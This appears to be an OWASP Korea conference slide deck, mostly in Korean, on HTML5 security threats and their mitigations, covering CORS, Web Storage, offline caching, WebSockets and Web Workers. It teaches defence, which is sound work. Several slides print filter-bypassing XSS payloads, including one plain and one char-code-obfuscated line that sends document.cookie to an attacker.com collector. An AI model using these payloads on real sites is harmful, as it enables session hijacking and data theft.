HTML5_security_(next_generation_threats)

The OWASP Foundation
http://www.owasp.org
Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
OWASP
Korea Chapter
HTML5 Security
Next-Generation Threats
주한익
coresecurity
joohanik@coresec.co.kr

Contents Table
 HTML5 Overview
 HTML5 Security Issues
 New Elements and Attributes
 CORS(Cross-Origin Resource Sharing)
 Web Storage
 Offline Web Application
 Web Sockets API
 Web Worker
 Geolocation API

3
HTML5 Overview
기존 HTML v4.01 를 보완할 수 있는 차세대 웹 기반 기술
2004년 WHATWG 에 의해서 제안 되었으며 현재(2013년 4월) W3C 와
공동으로 표준화 작업을 진행하고 있음
“플랫폼, 장치 등에 의존하지 않는 웹 어플리케이션 구현” 을 원칙으로
하므로 HTML5 를 기반으로 제작된 어플리케이션은 브라우저가 존재하는
모든 장치에서 실행 가능함
명세의 많은 부분이 개선 되었지만 웹 어플리케이션에 적용 하는데 있어
현실적으로 어려운 부분들이 있음 (ex. 디지털 저작권 관리 문제)

4
HTML5 Overview
<iframe src=“anydomainA.com […] <iframe src=“untrusted_domain.com […]
Iframe Sandboxing
<iframe src=“anydomainB.com […]
Web Messaging
Geolocation API Offline Web Application Web Worker Web Storage
위치정보
Offline 일 때
사용할 데이터
클라이언트에
저장될 데이터
자바스크립트
쓰레드
Web Socket API Custom scheme and content handlers Cross-Origin Resource Sharing
anydomainD.comanydomainC.com anydomainE.com

Contents Table
 HTML5 Overview
 Web Storage
 Web Sockets API
 Web Worker
 References

<video><source onerror=“alert(1)”></source></video>
<audio><source onerror=“alert(1)”></source></audio>
<select autofocus onfocus=“alert(1)”>
<textarea autofocus onfocus=“alert(1)”>
…
6
HTML5 Security Issues
New Elements and Event Attributes – XSS Code Example
<form id=“any” /><button form=“any” formaction=“javascript:alert(1)”>ANY
…
“<script>”, “<img>”
유형의 태그 필터 우회
정규 표현식을 이용한 ‘onw+=’
유형의 이벤트 속성 필터 우회
* Mario Heiderich’s “HTML5 Security Cheatsheet” : http://heideri.ch/jso/

7
New Elements and Event Attributes – Encoding
<video><source onerror=“new
Image().src=‘http://www.attacker.com/getcookie.php?cookie=‘+doc
ument.cookie”></source></video>
<video><source
onerror=eval(String.fromCharCode(110,101,119,32,73,109,97,103,
101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,119,11
9,119,46,97,116,116,97,99,107,101,114,46,99,111,109,47,103,10
1,116,99,111,111,107,105,101,46,112,104,112,63,99,111,111,10
7,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,1
11,107,105,101))></source></video>
Char Code Encoding

8
New Elements and Event Attributes – 공격 시나리오
악성 스크립트가 삽입된 사이트
<video><source
onerror=eval(String.fromCharCo
de(110,101,119,32,73,109,97,1
03,101,40,41,46,115,114,99,61,
39,104,116,116,112,58,47,47,1
19,119,119,46,97,116,116,97,9
9,107,101,114,46,99,111,109,4
7,103,10…></source></video>
1 HTML5 의 태그를 이용한 XSS
2 쿠키 값 전달
3
Web Session
Hijacking 공격자
희생자 브라우저

9
New Elements and Event Attributes – 대응 및 완화방법
HTML5 기반의 XSS 패턴들을 지속적으로 파악하고 필터에 적용

11
CORS(Cross-Origin Resource Sharing) – 개요 및 등장배경
HTML5 등장 이전의 웹 사이트는 XHR(Xml Http Request)을 이용하여
다른 도메인으로 요청을 발생 시킬 수 없었음 (SOP에 의한 제한 때문)
SOP(Same Origin Policy) 에 의한 제한은 서로 다른 도메인에서 자원을
가져다 사용하는 형태의 웹 어플리케이션 개발을 어렵게 만듦
Server-Side Proxy 기술을 통해 제한을 우회할 수는 있었으나 구현이
복잡해지고 웹 사이트의 퍼포먼스에 영향을 줌

12
CORS(Cross-Origin Resource Sharing) – SOP
호스트, 응용계층 프로토콜, 포트번호가 일치하지 않는 곳으로의
요청발생을 제한하는 정책
Compared URL Outcome Reason
http://www.foo.com/dir/page.html Success 호스트, 프로토콜, 포트가 동일함
http://www.foo.com/dir2/other.html Success 호스트, 프로토콜, 포트가 동일함
http://www.foo.com:81/dir/other.html Failure 호스트, 프로토콜은 동일하나 포트가 다름
https://www.foo.com/dir/other.html Failure 포트, 호스트는 같으나 프로토콜이 다름
http://en.foo.com/dir/other.thml Failure 프로토콜, 포트는 같으나 호스트가 다름
http://foo.com/dir/other.html Failure 프로토콜, 포트는 같으나 호스트가 다름
http://www.foo.com:80/dir/other.html Don’t use 브라우저에 따라 다름
Origin : http://foo.com/dir/page.html

13
CORS(Cross-Origin Resource Sharing) – COR
출처가 다른 도메인으로 발생되는 요청
HTML5 의 XHR Level2 에 추가된 기술
foo.com other.com
1 요청
2 응답
3 COR(Cross-Origin Request)

14
CORS(Cross-Origin Resource Sharing) – CORS Example
www.foo.com www,other.com1 요청
2 응답
3 COR
4 COR 에 대한 응답
COR 을 발생시킨 출처는
www.foo.com
www.other.com 은 출처가
www.foo.com 인 COR 만 허용함

15
CORS(Cross-Origin Resource Sharing) – 취약점
근본적인 문제는 COR 발생 여부를 사용자에게 허가 받지 않는다는 것임
사용자의 세션을 악용하여 접근제어 체계들을 무력화 시킬 수 있어
데이터의 기밀성을 손상시키는 결과를 가져옴

16
CORS(Cross-Origin Resource Sharing) – 발생 가능 시나리오
접근 제어 우회
인트라넷 웹사이트의 페이지의 컨텐츠 접근
개인정보 탈취
로그인해 있는 사이트의 개인정보 탈취
원격 서버 공격
DDoS

17
CORS(Cross-Origin Resource Sharing) – 접근 제어 우회
시나리오 예
INTRANET INTERNET
www.intranet.com www.malsite.com
GET / HTTP/1.1
HTTP/1.1 200 OK
Access-Control-Allow-Origin : *
GET / HTTP/1.1
HTTP/1.1 200 OK
<script> XMLHttpRequest […]
XMLHttpRequest
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
POST /listener.do HTTP/1.1
(Intranet 웹 페이지 컨텐츠)

18
CORS(Cross-Origin Resource Sharing) – 개인정보 탈취
시나리오 예
www.DomainA.com www.malsite.com
GET / HTTP/1.1
HTTP/1.1 200 OK
<a href="http://www.malsite.com […]
GET /malpage.html HTTP/1.1
HTTP/1.1 200 OK
<script> XMLHttpRequest […]
GET /person_inform.php HTTP/1.1
(XMLHttpRequest)
HTTP/1.1 200 OK
Mail : YY, Phone : XX, […]
GET /listener.dol HTTP/1.1
(사용자의 개인정보)

19
CORS(Cross-Origin Resource Sharing) – 대응 및 완화 방법
Access-Control-Allow-Origin 헤더의 값에 Asterisk(*) 를 사용하지
말고 허용하는 도메인을 명확하게 지정해야 함
공격자는 Origin 헤더를 조작하여 요청을 발생 시킬 수 있기 때문에 해당
헤더에만 의존한 접근제어는 가급적 피해야 함

21
Web Storage – 개요 및 등장 배경
HTML5 등장 이전의 웹 어플리케이션은 클라이언트 측에 데이터를
저장할 때 주로 쿠키를 사용했음
쿠키는 사이즈제한(4K per cookie / 20 cookies per domain), 요청
헤더 포함에 의한 데이터 노출 문제를 안고 있음

22
Web Storage – 세션 스토리지 & 로컬 스토리지
도메인마다 별도의 영역이 생성된다는 공통점을 가짐
데이터의 유효범위와 생존기간에서 차이점을 가짐
세션 스토리지 로컬 스토리지
윈도우 객체 윈도우 객체
윈도우 객체 윈도우 객체
www.a.com
의 세션 스토리지
www.b.com
도메인별로 별도의 로컬 스토리지가 할당되며,
윈도우가 달라도 동일한 도메인일 경우 공유함
www.a.com
도메인이 다르므로 별도의
세션 스토리지가 할당됨
윈도우가 다르면 같은
도메인에 접근해도 별도의
세션 스토리지가 할당됨
www.a.com
www.b.com
도메인별로 별도의 로컬 스토리지가 할당되며,
윈도우가 달라도 동일한 도메인일 경우 공유함

23
Web Storage – 로컬 스토리지 Example
context-Ixsn81SqU6E {"data":"{"clickindex":3,"items":[{"type …
yt-player-volume {"volume":100,"nonNormalized":null,"muted":false} …
YouTube 의 경우 사용자의 재생목록, 재생화면크기,
볼륨 등의 설정관련 정보를 로컬 스토리지에 기록함

24
Web Storage – 취약점 (로컬 스토리지)
사용자가 로컬 스토리지에 저장되어 있는 데이터의 접근여부를 확인
하거나 제어할 수 없음
자바스크립트만 실행 가능하면 로컬 스토리지에 저장되어 있는 데이터에
대한 접근 및 조작이 가능함

25
Web Storage – 발생 가능 시나리오
웹 세션 하이제킹
세션 구분자를 쿠키가 아닌 로컬 스토리지에 보관할 경우 탈취 가능성이 있음
사용자의 개인정보 탈취
사용자의 방문회수, 질의어, 개인 페이지 환경설정 등의 정보가 노출될 수 있음

26
Web Storage – 사용자의 개인정보 탈취 시나리오 예
www.DomainA.com www.malsite.com
GET / HTTP/1.1
HTTP/1.1 200 OK
localStorage.setItem(…)
GET / HTTP/1.1
HTTP/1.1 200 OK
<script> Contents += i+” : “+localStorage.getItem(i)+”n”;
GET /listener.do HTTP/1.1
(사용자의 개인정보)

27
Web Storage – 대응 및 완화 방법
세션 구분자를 쿠키에 보관함 (HTTPonly 플래그를 같이 사용해야 함)
로컬 스토리지에는 가급적 사용자의 민감한 정보들을 보관하지 말고
서버측에 보관할 수 있도록 구현

29
Offline Web Application – 개요 및 등장배경
웹 어플리케이션이 추가적인 정보를 갱신해야 하거나 필요로 할 때 매번
서버에게 요청을 보내는 것은 퍼포먼스의 저하를 가져옴
오프라인 상태에서도 동작이 가능한 웹 어플리케이션의 필요성 대두

30
Offline Web Application – 취약점
웹 어플리케이션에 대한 공격 범위가 서버 측에서 클라이언트 측까지
확장 되었음
클라이언트 측에 있는 웹 어플리케이션 자원을 인가 받지 않은 상태로
접근 하거나 조작할 수 있게 됨

31
Offline Web Application – 발생 가능 시나리오
Offline Web Application Cache Poisoning
클라이언트에 저장된 로그인 페이지 위/변조 및 개인정보 탈취
해당 취약점은 다른 취약점으로 연결할 수 있는 브릿지 역할을 하기 때문에 가장
위험한 요소 중 하나로 분류됨

32
Offline Web Application – Offline Web Application Cache
Poisoning 시나리오 예
www.DomainA.com www.DomainB.com www.Attacker.com
UnsecuredNetworkTrustedNetwork
www.DomainA.com 로 요청
GET / HTTP/1.1
HTTP/1.1 200 OKwww.DomainA.com 컨텐츠 +
<iframe src=“http://www.DomainB[...]
www.DomainB.com 로 요청
조작된 CACHE MANIFEST 전달
www.DomainB.com 로 요청
브라우저 Cache 에서 조작된 컨텐츠 로드
POST /listener.do HTTP/1.1
username=XXXX&userpasswd=YYYY
자바스크립트 실행
Login Request
HTTP/1.1 200 OK
Login Successful
Malicious
Access Point

33
Offline Web Application – 대응 및 완화 방법
현실적으로 웹 어플리케이션 개발자 입장에서의 대응 방법은 없음
사용자의 경우 신뢰하지 않는 네트워크에서 웹을 사용한 경우 브라우저의
캐시를 주기적으로 비워야 함

Contents Table
 HTML5 Overview
 Web Storage
 Web Socket API
 Web Worker
 References

35
Web Socket API – 개요 및 등장배경
HTTP 는 프로토콜 특성상 요청/응답 과정이 종료된 후 네트워크 세션이
종료되므로 이 후 통신을 위해서는 네트워크 세션을 다시 형성해야 함
실시간 채팅, 주식정보 모니터링과 같은 서비스의 경우 짧은 간격으로
데이터 전송이 오가기 때문에 네트워크 세션형성-종료 과정의 반복은
많은 오버헤드를 가져옴
한번의 네트워크 세션 형성을 통해 Full-Duplex 통신이 가능한 기술의
필요성이 커지게 됨
www.websocket.com
GET / HTTP/1.1
HTTP/1.1 200 OK
Upgrade : Web Socket
HTTP/1.1 101 Web Socket Protocol Handshake
Full-Duplex TCP-Channel Established

36
Web Socket API – Web Socket Interface
[Constructor(in DOMString url, in optional DOMString protocol)]
interface WebSocket {
readonly attribute DOMString URL;
// ready state
const unsigned short CONNECTING = 0;
const unsigned short OPEN = 1;
const unsigned short CLOSED = 2;
readonly attribute unsigned short readyState;
readonly attribute unsigned long bufferedAmount;
// networking
attribute Function onopen;
attribute Function onmessage;
attribute Function onclose;
boolean send(in DOMString data);
void close();
};
WebSocket implements EventTarget;

37
Web Socket API – 취약점
Web Socket 을 이용한 Cross-Domain 요청 및 연결을 사용자에게 허가
받지 않음

38
Web Socket API – 발생 가능 시나리오
원격 웹 쉘
Lavakumar Kuppan’s Shell Of The Future
웹 기반 봇넷
네트워크 정보 수집 및 포트 스캐닝

39
Web Socket API – 원격 웹 쉘 시나리오 예
Shell Of The Future
출처 : http://www.andlabs.org/tools/sotf/sotf.html

40
Web Socket API – 네트워크 정보 수집 시나리오 예
INTRANET INTERNET
www.attacker.comwww.site.com
GET / HTTP/1.1
HTTP/1.1 200 OK
(스캐닝 스크립트)
자바스크립트 실행
인트라넷
스캐닝
GET / HTTP/1.1
(내부 네트워크 정보)

41
Web Socket API – Web Socket Interface
Web Socket 의 readyState 속성
CONNECTING(0), OPEN(1), CLOSED(2) 세 가지 상태 정보 중 하나를 가짐
Web Socket 이 처음 생성될 때 CONNECTING(0) 값을 가짐
redeayState 속성의 상황에 따른 CONNECTING(0) 값 지속시간
원격 시스템의 반응 유형 0 값 지속시간
3-Way H.S 이후 바로 연결을 종료 시키는 경우 <100ms (0.1초 미만)
3-Way H.S 이후 응답을 한 후 바로 연결을 종료 시키는 경우 <100ms (0.1초 미만)
3-Way H.S 이후 연결을 유지 시키면서 데이터 수신을 기다리는 경우 >30000ms (30초 초과)
3-Way H.S 이후 연결을 유지하면서 “배너” 혹은 “웰컴” 메시지와 같은
응답을 전송하는 경우
<100ms (FireFox, Safari)
>30000ms (Chrome)
원격 시스템 포트의 상태 및 필터링 유무 0 값 지속시간
원격 시스템의 포트가 열려있는 경우 <100ms (0.1초 미만)
원격 시스템의 포트가 닫혀있는 경우 ~1000ms (1초)
패킷이 필터링 되었을 경우 >30000ms (30초 초과)

42
Web Socket API – 대응 및 완화 방법
서버 측에서는 XSS 취약점을 차단해야 함

44
Web Worker – 개요 및 등장 배경
오늘날의 웹 어플리케이션은 그 크기가 커지면서 자바 스크립트 코드가
복잡하게 구성되기 시작함
웹 브라우저가 무거운 자바스크립트 코드를 처리할 때는 “UI 블로킹” 과
같은 현상이 빈번하게 발생함
오늘날의 브라우저는 어플리케이션의 플랫폼 역할을 하고 있기 때문에
이러한 문제들을 반드시 해결해야 할 필요가 있음
HTML5 의 웹 워커는 자바스크립트 코드를 별도의 쓰레드를 이용하여
백그라운드로 실행시킬 수 있게 해줌

45
Web Worker – 취약점
Web Worker 에 대해 직접적으로 알려진 취약점은 없으나 다른
취약점에 대한 공격을 가속화할 수 있음

46
Web Worker – 발생 가능 시나리오
자바스크립트 클라우드를 이용한 해쉬 크래킹
CORS 와 Web Worker 를 이용한 DDoS

47
Web Worker – DDoS 시나리오 예
Zombie Browser
Zombie browser
Zombie browser
1
2
3
게시물 열람 및 클릭
동영상을 재생 하면서
웹 워커 실행
워커에 의한
DDoS 트래픽 발생

HTML5_security_(next_generation_threats)

More Related Content

What's hot (6)

Viewers also liked (20)

Similar to HTML5_security_(next_generation_threats) (20)

HTML5_security_(next_generation_threats)